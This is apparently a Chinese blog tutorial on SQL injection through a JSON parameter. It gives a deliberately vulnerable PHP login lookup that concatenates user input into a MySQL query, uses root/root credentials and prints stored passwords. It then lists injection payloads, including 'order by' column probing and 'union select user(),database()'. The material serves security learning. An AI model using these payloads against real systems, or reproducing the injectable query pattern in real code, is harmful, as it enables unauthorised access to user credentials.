大家实际测试中注意修改相关的数据库名、表名、字段名等
<?php // php防止中文乱码 header('content-type:text/html;charset=utf-8'); if(isset($_POST['json'])){ $json_str=$_POST['json']; $json=json_decode($json_str); if(!$json){ die('JSON文档格式有误,请检查'); } $username=$json->username; //$password=$json->password; // 建立mysql连接,root/root连接本地数据库 $mysqli=new mysqli(); $mysqli->connect('localhost','root','root'); if($mysqli->connect_errno){ die('数据库连接失败:'.$mysqli->connect_error); } // 要操作的数据库名,我的数据库是security $mysqli->select_db('security'); if($mysqli->errno){ dir('打开数据库失败:'.$mysqli->error); } // 数据库编码格式 $mysqli->set_charset('utf-8'); // 从users表中查询username,password字段 $sql="SELECT username,password FROM users WHERE username='{$username}'"; $result=$mysqli->query($sql); if(!$result){ die('执行SQL语句失败:'.$mysqli->error); }else if($result->num_rows==0){ die('查询结果为空'); }else { $array1=$result->fetch_all(MYSQLI_ASSOC); echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}"; } // 释放资源 $result->free(); $mysqli->close(); } ?>
1、按照特定的数据格式查询admin用户密码
json={"username":"admin"}
2、查看源代码,构造payload
代码中的sql语句是这个样子的,构造payload进行注入
3、判断当前数据库有多少列
2正常,3报错,判断当前数据库有2列
json={"username":"admin' order by 3#"}
4、注入带出来数据
json={"username":"admin' and 1=2 union select 1,2#"}
json={"username":"admin' and 1=2 union select user(),database()#"}
接下来就是注入操作了,在此不做后续注入...
https://blog.csdn.net/a15803617402/article/details/82939202